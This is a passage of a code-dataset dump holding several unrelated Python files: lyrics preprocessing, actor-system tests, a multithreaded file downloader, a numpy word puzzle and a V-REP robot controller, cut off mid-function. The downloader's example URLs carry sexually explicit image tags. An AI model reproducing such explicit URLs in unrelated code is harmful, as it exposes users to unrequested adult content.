\"\\\"\" + volume + \"\\\"\")\n if \"%value%\" in command:\n command = command.replace('%value%', \"\\\"\" + value + \"\\\"\")\n \n q = queue.Queue()\n threads.append(threading.Thread(target=get_prices, args=(command, q)))\n queues.append((q, id, command))\n\nfor th in threads:\n th.start()\n\nfor th in threads:\n# print(\"Here\")\n th.join()\n\n#def add_response(command, response):\n# db = mysql_db()\n# q = db.execute(\"SELECT \")\n\nfor q in queues:\n prices = q[0].get()\n# print(prices, q[1])\n try:\n response += [prepare_json(prices, q[1])]\n# add_response(q[2], prepare_json(prices, q[1]))\n except:\n continue\n#prices = q.get()\n#print(prices)\n\n# prices = get_prices(command)\n# print(\"123: \", prices)\n# try:\n# response += [prepare_json(prices, id)]\n# except:\n# print(id)\n# continue\n# print(command)\n#print(response)\n \n\n#id = 1\n#for i in prices:\n# try:\n# response += [prepare_json(i, id)]\n# except:\n# continue\n# id += 1\n\nprint(json.dumps(response))\n","sub_path":"scripts/get_all.backup.py","file_name":"get_all.backup.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"314566957","text":"#Shaylee McBride\n#10May2018\n#reverseFile.py\n\nwhichFile = input('Which File?' )\nfile = open(whichFile)\n\nL=[]\nfor line in file:\n L.append(line.strip('\\n'))\n\nL.reverse()\nfor item in L:\n print(item)\n ","sub_path":"reverseFile.py","file_name":"reverseFile.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"326444853","text":"\"\"\"\nData Cleaning\n=============\nThis script performs data cleaning and pre-processing\non the song lyrics dataset. The following steps are covered:\n- tokenizes lyrics\n- lemmatizes words of song lyrics\n- re-concatenates words for TFIDF vectorization\n- writes updated dataframe to a csv file\n\nTo execute this script, run the following command in your terminal:\n```\npython preprocess.py --filter_by=genre --subset=rock (optional)\n```\nDue to the large nature of this dataset, lyrics are processed\nby genre. Indicate which genre to process using the `genre` arg.\n\nNote: The script automatically writes the updated dataframe to a .csv file.\n\"\"\"\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath(\"..\"))\n\nimport argparse\nimport pandas as pd\nimport numpy as np\nimport nltk \n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom scipy.sparse import save_npz\nfrom nltk.stem import WordNetLemmatizer\n\ndef tokenize_lyrics(x, min_length=3):\n \"\"\"\n Tokenizes a string of lyrics, filters out\n stopwords, strips words that start or end with\n special punctuation (-, ., /).\n\n Args\n ----\n x : str\n string of lyrics\n min_length : int\n minimum length of word to include in tokenized list\n\n Returns\n -------\n list\n list of tokenized words\n \"\"\"\n custom_stopwords = [\"'s\", \"n't\", \"'m\", \"'re\", \"'ll\",\"'ve\",\"...\", \"ä±\", \"''\", '``','--', \"'d\", 'el', 'la']\n stopwords = nltk.corpus.stopwords.words('english') + custom_stopwords\n tokens = nltk.word_tokenize(x.lower())\n tokens = [t.strip('-./') for t in tokens]\n tokenized = [t for t in tokens if len(t) > min_length and t.isalpha() and t not in stopwords]\n return tokenized\n\ndef lemmatize_lyrics(tokens):\n \"\"\"\n Lemmatizes tokens using NLTK's lemmatizer tool.\n \"\"\"\n lemmatized = [nltk.stem.WordNetLemmatizer().lemmatize(t) for t in tokens]\n return lemmatized\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Song lyric cleaning and pre-processing\")\n parser.add_argument('--filter_by', type=str, dest='filter', default='genre')\n parser.add_argument('--subset', type=str, dest='subset', default='rock')\n\n args = parser.parse_args()\n\n pd.options.mode.chained_assignment = None\n\n print(\"Loading data...\")\n data = pd.read_csv(\"../data/lyrics.csv\")\n print(\"Dropping duplicates and missing values...\")\n data = data.dropna()\n data = data.drop_duplicates(subset=['artist', 'song'])\n\n subset = args.subset\n if args.filter == 'genre':\n subset = args.subset.capitalize()\n if subset == 'Hiphop':\n subset = 'Hip-Hop'\n \n lyrics = data[data[args.filter] == subset]\n print(\"Number of {:s} songs: \".format(subset), lyrics.shape[0])\n\n print(\"Tokenizing lyrics for all {:s} songs...\".format(subset))\n lyrics['tokenized_lyrics'] = lyrics['lyrics'].apply(tokenize_lyrics)\n\n print(\"Calculating word count...\")\n lyrics['word_count'] = lyrics['tokenized_lyrics'].apply(len)\n\n print(\"Lemmatizing tokens...\")\n lyrics['tokenized_lyrics'] = lyrics['tokenized_lyrics'].apply(lemmatize_lyrics)\n\n print(\"Concatenating lyrics...\")\n lyrics['processed_lyrics'] = lyrics['tokenized_lyrics'].apply(lambda x: ' '.join(x))\n\n path = \"../data/lyrics_{:s}.csv\".format(args.subset.lower())\n lyrics.to_csv(path)\n print(\"CSV file saved! Check path: {:s}\".format(path))\n","sub_path":"scripts/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"543877406","text":"import unittest\nimport logging\nimport time, datetime\nimport thespian.test.helpers\nfrom thespian.actors import *\nfrom thespian.test import ActorSystemTestCase\n\nclass Larry(Actor):\n def receiveMessage(self, msg, sender):\n if msg != 'Silence!':\n self.send(sender, 'Hey!')\n\n\nclass Mo(Actor):\n def receiveMessage(self, msg, sender):\n pass\n\nclass Curly(Actor):\n def receiveMessage(self, msg, sender):\n logging.debug('Sending msg1')\n self.send(sender, 'Wise guy, eh?')\n logging.debug('Sending msg2')\n self.send(sender, 'Pow!')\n\n\nclass TestASimpleSystem(ActorSystemTestCase):\n testbase='Simple'\n scope='func'\n\n responseDelay = 0.06\n\n def testTell(self):\n mo = ActorSystem().createActor(Mo)\n ActorSystem().tell(mo, 'hello')\n ActorSystem().tell(mo, 'goodbye')\n\n def testAsk(self):\n larry = ActorSystem().createActor(Larry)\n rsp = ActorSystem().ask(larry, 'hello', self.responseDelay)\n self.assertEqual(rsp, 'Hey!')\n rsp = ActorSystem().ask(larry, 'Silence!', self.responseDelay)\n self.assertIsNone(rsp)\n\n def testListen(self):\n curly = ActorSystem().createActor(Curly)\n rsp = ActorSystem().ask(curly, 'hello', self.responseDelay)\n self.assertEqual(rsp, 'Wise guy, eh?')\n rsp = ActorSystem().listen(self.responseDelay)\n self.assertEqual(rsp, 'Pow!')\n\n def testAskIsTellPlusListen(self):\n larry = ActorSystem().createActor(Larry)\n rsp = ActorSystem().ask(larry, 'hello', self.responseDelay)\n self.assertEqual(rsp, 'Hey!')\n\n rsp = ActorSystem().listen(self.responseDelay)\n self.assertIsNone(rsp)\n\n ActorSystem().tell(larry, 'hello')\n rsp = ActorSystem().listen(self.responseDelay)\n self.assertEqual(rsp, 'Hey!')\n\n rsp = ActorSystem().listen(self.responseDelay)\n self.assertIsNone(rsp)\n\n def testResponsesFromAnywhere(self):\n aS = ActorSystem()\n larry = aS.createActor(Larry)\n mo = aS.createActor(Mo)\n curly = aS.createActor(Curly)\n\n aS.tell(curly, 'hello')\n aS.tell(mo, 'hello')\n rsp = aS.ask(larry, 'hello', self.responseDelay)\n\n responses = [ 'Wise guy, eh?', 'Pow!', 'Hey!' ]\n while responses:\n self.assertIsNotNone(rsp)\n self.assertIn(rsp, responses)\n responses = [R for R in responses if R != rsp]\n rsp = ActorSystem().listen(self.responseDelay)\n\n\nclass TestMultiprocUDPSystem(TestASimpleSystem):\n testbase='MultiprocUDP'\n def setUp(self):\n self.setSystemBase('multiprocUDPBase')\n super(TestMultiprocUDPSystem, self).setUp()\n\nclass TestMultiprocTCPSystem(TestASimpleSystem):\n testbase='MultiprocTCP'\n def setUp(self):\n self.setSystemBase('multiprocTCPBase')\n super(TestMultiprocTCPSystem, self).setUp()\n\nclass TestMultiprocQueueSystem(TestASimpleSystem):\n testbase='MultiprocQueue'\n def setUp(self):\n self.setSystemBase('multiprocQueueBase')\n super(TestMultiprocQueueSystem, self).setUp()\n\n","sub_path":"thespian/test/testActorSysAPI.py","file_name":"testActorSysAPI.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"643736429","text":"# 尝试多线程\nimport threading\nimport requests\nimport os\nimport time\n\n\n# Html download function\n# 输入参数reFlag = 0 返回text, 1 返回content, 2 返回resp\n# 若下载失败, 一律返回None\ndef download(\n url,\n num_retries=3,\n headers={},\n cookie=\"\",\n params=\"\",\n stream=None,\n reFlag=0,\n timeout=(30, 300),\n):\n # print(\"Downloading: \", url)\n if \"user-agent\" not in headers:\n headers[\n \"user-agent\"\n ] = \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0\"\n if cookie != \"\":\n headers[\"cookie\"] = cookie\n try:\n resp = requests.get(\n url, headers=headers, params=params, stream=stream, timeout=timeout\n )\n resp.close()\n html = resp.text\n content = resp.content\n if resp.status_code >= 400:\n print(\"Download error: \", resp.text)\n html = None\n content = None\n if num_retries and 500 <= resp.status_code < 600:\n return download(url, num_retries - 1)\n except requests.exceptions.RequestException as e:\n print(\"Download error!!!\")\n print(e)\n html = None\n content = None\n resp = None\n except requests.exceptions.Timeout:\n print(\"请求超时!\")\n html = None\n content = None\n resp = None\n if reFlag == 0:\n return html\n elif reFlag == 1:\n return content\n else:\n return resp\n\n\ndef downThread(url, start, end, threadNum, mainPath, fileName=None):\n print(\"线程\", threadNum, \"正在下载\")\n if fileName is None:\n fileName = os.path.basename(url)\n headers = {\"Range\": f\"bytes={start}-{end}\", \"connection\": \"close\"}\n dtTime = int((end - start) * 100 / (1024 * 1024))\n if dtTime < 60:\n dtTime = 60\n if dtTime > 600:\n dtTime = 600\n content = download(url=url, headers=headers, reFlag=1, timeout=(30, dtTime))\n if content is None:\n print(\"线程\", threadNum, \"下载失败\")\n else:\n tempPath = os.path.join(mainPath, \"temp_\" + str(threadNum) + \"_\" + fileName)\n tempFile = open(tempPath, \"wb\")\n tempFile.write(content)\n tempFile.close()\n print(\"线程\", threadNum, \"下载完成\")\n\n\ndef main(url, threadCnt, mainPath, fileName):\n startTime = time.time()\n filePath = os.path.join(mainPath, fileName)\n res = requests.head(url=url)\n try:\n fileSize = int(res.headers[\"Content-Length\"])\n except Exception as e:\n print(e)\n print(\"检查url或不支持多线程\")\n return e\n\n thList = []\n part = fileSize // threadCnt\n for i in range(threadCnt):\n start = i * part\n if i == threadCnt:\n end = fileSize - 1\n else:\n end = start + part - 1\n dlThread = threading.Thread(\n target=downThread,\n args=(url, start, end, i, mainPath),\n kwargs={\"fileName\": fileName},\n )\n thList.append(dlThread)\n dlThread.start()\n time.sleep(1)\n\n for item in thList:\n item.join()\n\n tempList = [\n os.path.join(mainPath, fn)\n for fn in os.listdir(mainPath)\n if fn.startswith(\"temp_\")\n ]\n tempList.sort(key=lambda fn: int(fn.split(\"_\")[1]))\n with open(filePath, \"wb\") as fp_final:\n for fn in tempList:\n with open(fn, \"rb\") as fp_temp:\n fp_final.write(fp_temp.read())\n for fn in tempList:\n os.remove(fn)\n print(\"下载完成!\")\n print(\"下载用时:\", time.time() - startTime)\n\n\nif __name__ == \"__main__\":\n url1 = (\n \"https://konachan.com/jpeg/b9d90ca73e547e69e9ed88f880345329/Konachan.com%20\"\n + \"-%20988%20breasts%20navel%20nipples%20open_shirt%20pajamas%20panties%20\"\n + \"panty_pull%20pubic_hair%20pussy%20taka_tony%20tan_lines%20uncensored%20underwear.jpg\"\n )\n url2 = (\n \"https://konachan.com/image/2983dd62b91dd22ad84f43303d60479f/Konachan.com%20\"\n + \"-%2065943%20amatsumi_sora_ni%20blush%20bra%20breasts%20clochette%20\"\n + \"kiyosumi_serika%20nipples%20panties%20pussy%20red_hair%20scan%20\"\n + \"shintaro%20thighhighs%20uncensored%20underwear%20undressing.png\"\n )\n url3 = (\n \"https://konachan.com/image/6ba3476dfec0b17395575994e3f7782d/\"\n + \"Konachan.com%20-%20251631%20anus%20ass%20ball%20breasts%20\"\n + \"clouds%20d.va%20flowers%20glasses%20group%20hat%20mecha%20\"\n + \"navel%20nipples%20nude%20petals%20ponytail%20pussy%20sky%20\"\n + \"sombra%20tattoo%20tracer%20water%20wink.png\"\n )\n url4 = (\n \"https://konachan.com/image/7b6da174a72d3b803febe4f13ac3f37c/\"\n + \"Konachan.com%20-%20231629%205_nenme_no_houkago%20animal%20\"\n + \"barefoot%20blush%20bunny%20headphones%20kantoku%20kurumi_%28\"\n + \"kantoku%29%20original%20pink_eyes%20pink_hair%20short_hair%20\"\n + \"skirt%20twintails.png\"\n )\n threadCnt = 10\n mainPath = \"D:\\\\konachan\\\\test\"\n fileName = \"231629_10.png\"\n main(url4, threadCnt, mainPath, fileName)\n","sub_path":"konachan/old/T2.py","file_name":"T2.py","file_ext":"py","file_size_in_byte":5071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"613031982","text":"#Stwórz skrypt który na wyjściu wyświetli macierz numpy (tablica wielowymiarowa) w postaci wykreślanki, gdzie jedno słowo będzie wypisane w kolumnie, jedno w wierszu i jedno po ukosie. Jedno z tych słów powinno być wypisane od prawej do lewej\r\n\r\nimport numpy as np\r\n\r\nd = np.ones((10,10),dtype=str)\r\n\r\nd1 = np.fromiter('Tomek',dtype='U1')\r\nd2 = np.array(list('Agata'))\r\nd3 = np.array(list('Kijek'))\r\n\r\n#[start:stop:step] i [[indexy x albo slice],[indexy y albo slice]]\r\n\r\nd[0,5:0:-1] = d1\r\nd[0:5,1] = d3\r\nd[[5,6,7,8,9],[5,6,7,8,9]] = d2\r\n\r\nprint(d)\r\n","sub_path":"listing_1_numpy_1/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"345521863","text":"\n\n#calss header\nclass _SPOILED():\n\tdef __init__(self,): \n\t\tself.name = \"SPOILED\"\n\t\tself.definitions = [u'A spoiled child is allowed to do or have anything that it wants to, usually so that it expects to get everything it wants, and does not show respect to other people: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_spoiled.py","file_name":"_spoiled.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"414965279","text":"import vrep\nimport vrep_constants as const\nimport math\nfrom matplotlib.path import Path\nfrom numpy import array\nfrom math import acos, cos, fabs, pow, pi, sin, sqrt\nimport threading as thr\nfrom time import time, sleep\nfrom collections import namedtuple\nimport dubins\n\nPoint = namedtuple(\"point\", [\"x\", \"y\"])\nStep_tup = namedtuple(\"step\", [\"number\",\n \"start\",\n \"finish\",\n \"duration\"])\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def __str__(self):\n return str(self.x) + \" \" + str(self.y)\n\n def __repr__(self):\n return str(self.x) + \" \" + str(self.y)\n\n def __call__(self, type_of=int):\n return type_of(self.x), type_of(self.y)\n\n def set_x(self, x):\n self.x = x\n\n def set_y(self, y):\n self.y = y\n\n def set_xy(self, x, y):\n self.x = x\n self.y = y\n\n def get_distance_to(self, point):\n return sqrt((point.x - self.x) ** 2 + (point.y - self.y) ** 2)\n\nclass Robot(thr.Thread):\n def __init__(self, handle, con_port, path, orient_point):\n thr.Thread.__init__(self)\n self.handle = handle\n self.vrep_con = Vrep(con_port)\n if self.vrep_con.client_id == -1:\n raise Exception('Failed to connect to remote API server.')\n vrep.simxSynchronous(self.vrep_con.client_id, True)\n self.name = self.vrep_con.get_object_name(self.handle)\n self.path = path\n self.orient_point = orient_point\n self.left_motor_handle = self.vrep_con.get_object_child(self.handle, 1)\n self.right_motor_handle = self.vrep_con.get_object_child(self.handle, 0)\n self.left_wheel = self.vrep_con.get_object_child(self.left_motor_handle, 0)\n self.right_wheel = self.vrep_con.get_object_child(self.right_motor_handle, 0)\n\n def wheel_rotation(self, left_motor_speed, right_motor_speed):\n retCode = vrep.simxSetJointTargetVelocity(self.vrep_con.client_id, self.left_motor_handle, \\\n left_motor_speed, vrep.simx_opmode_streaming)\n retCode = vrep.simxSetJointTargetVelocity(self.vrep_con.client_id, self.right_motor_handle, \\\n right_motor_speed, vrep.simx_opmode_streaming)\n\n def get_angle_difference(self, goal):\n goal_angle = self.vrep_con.get_object_orientation(self.handle, goal)\n angle_difference = goal_angle - self.get_robot_orientation()\n if angle_difference > 180:\n angle_difference = -(360 - angle_difference)\n elif angle_difference < -180:\n angle_difference = 360 + angle_difference\n return angle_difference\n\n def move_with_PID(self, goal):\n \"\"\"\n Function that regulates control effect on the wheels to align trajectory\n \"\"\"\n old_error = 0\n error_sum = 0\n while self.get_robot_position().get_distance_to(goal) > const.DISTANCE_ERROR:\n error = self.get_angle_difference(goal)\n error_sum += error\n if error_sum < const.iMin:\n error_sum = const.iMin\n elif error_sum > const.iMax:\n error_sum = const.iMax\n up = const.kp * error\n ui = const.ki * error_sum\n ud = const.kd * (error - old_error)\n old_error = error\n u = up + ui + ud\n if u > 0:\n left_u = const.MOVEMENT_SPEED - fabs(u)\n right_u = const.MOVEMENT_SPEED\n else:\n left_u = const.MOVEMENT_SPEED\n right_u = const.MOVEMENT_SPEED - fabs(u)\n self.wheel_rotation(left_u, right_u)\n sleep(0.2)\n self.stop()\n sleep(0.5)\n\n def stop(self):\n self.wheel_rotation(0, 0)\n\n def get_robot_orientation(self):\n left_wheel_pos = self.vrep_con.get_object_position(self.left_wheel)\n angle = self.vrep_con.get_object_orientation(self.right_wheel, left_wheel_pos) - 90\n if angle > 180:\n angle = -(360 - angle)\n elif angle < -180:\n angle = 360 + angle\n return angle\n\n def get_robot_direction_vector(self):\n left_wheel_pos = self.vrep_con.get_object_position(self.left_wheel)\n right_wheel_pos = self.vrep_con.get_object_position(self.right_wheel)\n wheel_dir_vector = (left_wheel_pos.x - right_wheel_pos.x, \\\n left_wheel_pos.y - right_wheel_pos.y)\n direction_vector_mod = sqrt(wheel_dir_vector[0] ** 2 \\\n + wheel_dir_vector[1] ** 2)\n norm_direction_vector = (wheel_dir_vector[0] / direction_vector_mod, \\\n wheel_dir_vector[1] / direction_vector_mod)\n x_new = norm_direction_vector[1]\n y_new = -norm_direction_vector[0]\n return Point(x_new, y_new)\n\n def get_robot_position(self):\n return self.vrep_con.get_object_position(self.handle)\n\n def turn_in_a_direction(self, direction_vector):\n robot_position = self.get_robot_position()\n target_position = Point(robot_position.x + direction_vector.x, robot_position.y + direction_vector.y)\n self.turn_to_a_point(target_position)\n\n def turn_to_a_point(self, point_pos):\n angle_difference = self.get_angle_difference(point_pos)\n if angle_difference > 0:\n self.wheel_rotation(-const.ROTATION_SPEED, const.ROTATION_SPEED)\n else:\n self.wheel_rotation(const.ROTATION_SPEED, -const.ROTATION_SPEED)\n while fabs(angle_difference) > const.ANGLE_ERROR:\n angle_difference = self.get_angle_difference(point_pos)\n #print(angle_difference)\n self.stop()\n\n def move_to_the_point(self, goal):\n angle_difference = self.get_angle_difference(goal)\n if fabs(angle_difference) > const.ANGLE_ERROR:\n self.turn_to_a_point(goal)\n self.move_with_PID(goal)\n self.stop()\n\n def run(self):\n for state in self.path:\n if self.get_robot_position().get_distance_to(state) > const.DISTANCE_ERROR:\n self.move_to_the_point(state)\n self.turn_to_a_point(self.orient_point)\n sleep(0.5)\n\nclass Vrep():\n def __init__(self, con_port):\n self.client_id = vrep.simxStart(const.CON_ADDRESS, con_port, False, True, \\\n const.TIMEOUT_IN_MS, const.COMM_THREAD_CYCLE_IN_MS)\n\n def get_object_handle(self, obj_name):\n ret, handle = vrep.simxGetObjectHandle(self.client_id, obj_name, vrep.simx_opmode_oneshot_wait)\n return handle\n\n def get_object_child(self, parent_handle, index):\n ret, child_handle = vrep.simxGetObjectChild(self.client_id, \\\n parent_handle, index, vrep.simx_opmode_oneshot_wait)\n return child_handle\n\n def get_object_position(self, object_handle):\n \"\"\"\n Function that returns position of object on the scene in V-REP\n \"\"\"\n res, object_position = vrep.simxGetObjectPosition(self.client_id, object_handle, -1, \\\n vrep.simx_opmode_blocking)\n if res == vrep.simx_return_ok:\n return Point(object_position[0], object_position[1])\n else:\n print('Remote function call failed with result {0}.'.format(res))\n return ()\n\n def get_robots_data(self):\n if not (self.get_object_handle(const.ROBOTS_NAMES_TREE) == 0):\n robots_data = dict()\n robots_handles = self.get_object_childs(const.ROBOTS_NAMES_TREE)\n for robot in robots_handles:\n robot_boundary_points = self.get_boundary_points(robot)\n robot_position = self.get_object_position(robot)\n robot_direction = self.get_robot_direction_vector(robot)\n robots_data[robot] = [robot_position, robot_direction, robot_boundary_points]\n return robots_data\n else:\n return {}\n\n def get_goal_data(self):\n if not (self.get_object_handle(const.TARGETS_NAMES_TREE) == 0):\n goal_data = dict()\n goal_handles = self.get_object_childs(const.TARGETS_NAMES_TREE)\n for goal in goal_handles:\n goal_boundary_points = self.get_boundary_points(goal)\n goal_position = self.get_object_position(goal)\n goal_data[goal] = [goal_position, goal_boundary_points]\n return goal_data\n else:\n return {}\n\n def get_obstacles_data(self):\n if not (self.get_object_handle(const.OBSTACLES_NAMES_TREE) == 0):\n if const.WITH_DYNAMIC_OBSTACLES:\n pass\n else:\n obstacles_data = dict()\n obstacle_handles = self.get_object_childs(const.OBSTACLES_NAMES_TREE)\n for obstacle in obstacle_handles:\n obstacle_boundary_points = self.get_boundary_points(obstacle)\n obstacle_position = self.get_object_position(obstacle)\n obstacles_data[obstacle] = [obstacle_position, obstacle_boundary_points]\n return obstacles_data\n else:\n return {}\n\n def get_boundary_points(self, object_handle):\n \"\"\"\n Function that returns boundary points of object's (obstacle) boundary box\n \"\"\"\n points = []\n obstacle_position = self.get_object_position(object_handle)\n ret, orient = vrep.simxGetObjectOrientation(self.client_id, object_handle, -1, \\\n vrep.simx_opmode_blocking)\n ret, x_1 = vrep.simxGetObjectFloatParameter(self.client_id, object_handle, 15, \\\n vrep.simx_opmode_blocking)\n ret, y_1 = vrep.simxGetObjectFloatParameter(self.client_id, object_handle, 16, \\\n vrep.simx_opmode_blocking)\n ret, x_2 = vrep.simxGetObjectFloatParameter(self.client_id, object_handle, 18, \\\n vrep.simx_opmode_blocking)\n ret, y_2 = vrep.simxGetObjectFloatParameter(self.client_id, object_handle, 19, \\\n vrep.simx_opmode_blocking)\n angle = orient[2]\n # Extension of boundaries, so that the robots moves without collisions\n x_1 = x_1 - 0.3\n x_2 = x_2 + 0.3\n y_1 = y_1 - 0.3\n y_2 = y_2 + 0.3\n\n\n p_1 = (x_1 * cos(angle) - y_1 * sin(angle) + obstacle_position.x, y_1 * \\\n cos(angle) + x_1 * sin(angle) + obstacle_position.y)\n points.append(Point(p_1[0], p_1[1]))\n p_2 = (x_1 * cos(angle) - y_2 * sin(angle) + obstacle_position.x, y_2 * \\\n cos(angle) + x_1 * sin(angle) + obstacle_position.y)\n points.append(Point(p_2[0], p_2[1]))\n p_3 = (x_2 * cos(angle) - y_2 * sin(angle) + obstacle_position.x, y_2 * \\\n cos(angle) + x_2 * sin(angle) + obstacle_position.y)\n points.append(Point(p_3[0], p_3[1]))\n p_4 = (x_2 * cos(angle) - y_1 * sin(angle) + obstacle_position.x, y_1 * \\\n cos(angle) + x_2 * sin(angle) + obstacle_position.y)\n points.append(Point(p_4[0], p_4[1]))\n return points\n\n def get_object_childs(self, objName):\n \"\"\"\n Function that return handles of object's childs from the V-REP scene.\n This function is useful when the exact number of objects is unknown\n \"\"\"\n index = 0\n children_list = []\n child = 0\n parent_handle = self.get_object_handle(objName)\n while child != -1:\n res, child = vrep.simxGetObjectChild(self.client_id, parent_handle, index, vrep.simx_opmode_blocking)\n if res == vrep.simx_return_ok:\n children_list.append(child)\n index = index + 1\n else:\n print('Remote fucntion get_object_childs call failed.')\n return []\n del children_list[len(children_list) - 1]\n return children_list\n\n def finish_connection(self):\n vrep.simxFinish(self.client_id)\n\n def get_robot_orientation(self, robot_handle):\n left_motor_handle = self.get_object_child(robot_handle, 0)\n right_motor_handle = self.get_object_child(robot_handle, 1)\n left_wheel = self.get_object_child(left_motor_handle, 0)\n right_wheel = self.get_object_child(right_motor_handle, 0)\n left_wheel_pos = self.get_object_position(left_wheel)\n angle = self.get_object_orientation(right_wheel, left_wheel_pos) - 90\n if angle > 180:\n angle = -(360 - angle)\n elif angle < -180:\n angle = 360 + angle\n return angle\n\n def get_robot_direction_vector(self, robot_handle):\n left_motor_handle = self.get_object_child(robot_handle, 0)\n right_motor_handle = self.get_object_child(robot_handle, 1)\n left_wheel = self.get_object_child(left_motor_handle, 0)\n right_wheel = self.get_object_child(right_motor_handle, 0)\n left_wheel_pos = self.get_object_position(left_wheel)\n right_wheel_pos = self.get_object_position(right_wheel)\n wheel_dir_vector = (left_wheel_pos.x - right_wheel_pos.x, \\\n left_wheel_pos.y - right_wheel_pos.y)\n direction_vector_mod = sqrt(wheel_dir_vector[0] ** 2 \\\n + wheel_dir_vector[1] ** 2)\n norm_direction_vector = (wheel_dir_vector[0] / direction_vector_mod, \\\n wheel_dir_vector[1] / direction_vector_mod)\n x_new = norm_direction_vector[1]\n y_new = -norm_direction_vector[0]\n return Point(x_new, y_new)\n\n def get_object_orientation(self, object_handle, target_pos):\n object_pos = self.get_object_position(object_handle)\n direction_vector = (target_pos.x - object_pos.x, target_pos.y - object_pos.y)\n direction_vector_mod = sqrt(direction_vector[0] ** 2 + direction_vector[1] ** 2)\n norm_direction_vector = (direction_vector[0] / direction_vector_mod, \\\n direction_vector[1] / direction_vector_mod)\n if norm_direction_vector[1] != 0:\n angle = acos(norm_direction_vector[0]) * 180 / pi * fabs(norm_direction_vector[1]) / \\\n norm_direction_vector[1]\n else:\n angle = acos(norm_direction_vector[0]) * 180 / pi\n return angle\n\n def get_object_quaternion(self, objectHandle):\n retCode, quat = vrep.simxGetObjectQuaternion(self.client_id, objectHandle, -1, vrep.simx_opmode_blocking)\n return quat\n\n def set_object_quaternion(self, objectHandle, quat):\n emptyBuff = bytearray()\n res, retInts, retFloats, retString, retBuffer = vrep.simxCallScriptFunction(self.client_id, 'goalConfigurations', \\\n vrep.sim_scripttype_childscript, \\\n 'setObjectQuaternion', [objectHandle], \\\n quat, [], emptyBuff, \\\n vrep.simx_opmode_blocking)\n\n def create_mesh(self, row_num, col_num):\n x_min = -4.25\n x_max = 4.25\n y_min = -7.525\n y_max = 0.975\n x_range = x_max - x_min\n y_range = y_max - y_min\n cell_x_size = float(x_range) / float(col_num)\n cell_y_size = float(y_range) / float(row_num)\n cells_list = []\n for row in range(row_num):\n cells_list.append([])\n for col in range(col_num):\n x = x_max - cell_x_size * (0.5 + row)\n y = y_min + cell_y_size * (0.5 + col)\n cell_pos = Point(x, y)\n cells_list[row].append(cell_pos)\n return cells_list\n\n def end_simulation(self):\n vrep.simxStopSimulation(self.client_id, vrep.simx_opmode_oneshot_wait)\n vrep.simxFinish(-1)\n\n\n def set_object_position(self, objectHandle, pos):\n emptyBuff = bytearray()\n res, retInts, retFloats, retString, retBuffer = vrep.simxCallScriptFunction(self.client_id, 'goalConfigurations',\\\n vrep.sim_scripttype_childscript, \\\n 'setObjectPosition', [objectHandle], \\\n [pos.x, pos.y, 0.2], [], emptyBuff, \\\n vrep.simx_opmode_blocking)\n\n def create_dummy(self, pos):\n retCode, dummyHandle = vrep.simxCreateDummy(self.client_id, 0.05, (128, 128, 128), vrep.simx_opmode_blocking)\n self.set_object_position(dummyHandle, pos)\n\n def get_object_name(self, objectHandle):\n emptyBuff = bytearray()\n res, retInts, retFloats, objName, retBuffer = vrep.simxCallScriptFunction(self.client_id, 'goalConfigurations',\n vrep.sim_scripttype_childscript,\n 'getObjectName', [objectHandle], [], [], emptyBuff,\n vrep.simx_opmode_blocking)\n return objName[0]\n\n def get_mars_direction(self, mars_handle):\n left_motor_handle = vrep_con.get_object_child(mars_handle, 1)\n right_motor_handle = vrep_con.get_object_child(mars_handle, 0)\n left_wheel = vrep_con.get_object_child(left_motor_handle, 0)\n right_wheel = vrep_con.get_object_child(right_motor_handle, 0)\n left_wheel_pos = self.get_object_position(left_wheel)\n wheel_angle = self.get_object_orientation(right_wheel, left_wheel_pos)\n angle = wheel_angle - 90\n if angle > 180:\n angle = -(360 - angle)\n elif angle < -180:\n angle = 360 + angle\n return angle\n\n\n def get_simulation_time(self):\n emptyBuff = bytearray()\n res, retInts, retFloats, retString, retBuffer = vrep.simxCallScriptFunction(self.client_id, 'goalConfigurations', \\\n vrep.sim_scripttype_childscript, \\\n 'getSimulationTime', [], [], \\\n [], emptyBuff, vrep.simx_opmode_blocking)\n return retFloats[0]\n\n def create_dummy_path(self, path):\n for state in path:\n self.create_dummy(state)\n\ndef get_consistent_point(robot_pos, robot_orient, direction):\n dist = 0.191\n robot_orient_vect = angle_to_vector(robot_orient)\n orient_point = Point(robot_pos.x + robot_orient_vect.x, robot_pos.y + robot_orient_vect.y)\n if direction == \"left\":\n point_orient = robot_orient + 90\n elif direction == \"right\":\n point_orient = robot_orient - 90\n else:\n print(\"Invalid value of direction variable.\")\n return ()\n vect = angle_to_vector(point_orient)\n sub_point = Point(robot_pos.x + vect.x, robot_pos.y + vect.y)\n p = get_point_at_distance_and_angle(robot_pos, sub_point, dist)\n return p\n\ndef get_side_points(robot_pos, robot_orient):\n dist = 0.12\n left_x = -robot_orient.y\n left_y = robot_orient.x\n left_point = Point(robot_pos.x + left_x * dist, robot_pos.y + left_y * dist)\n right_x = robot_orient.y\n 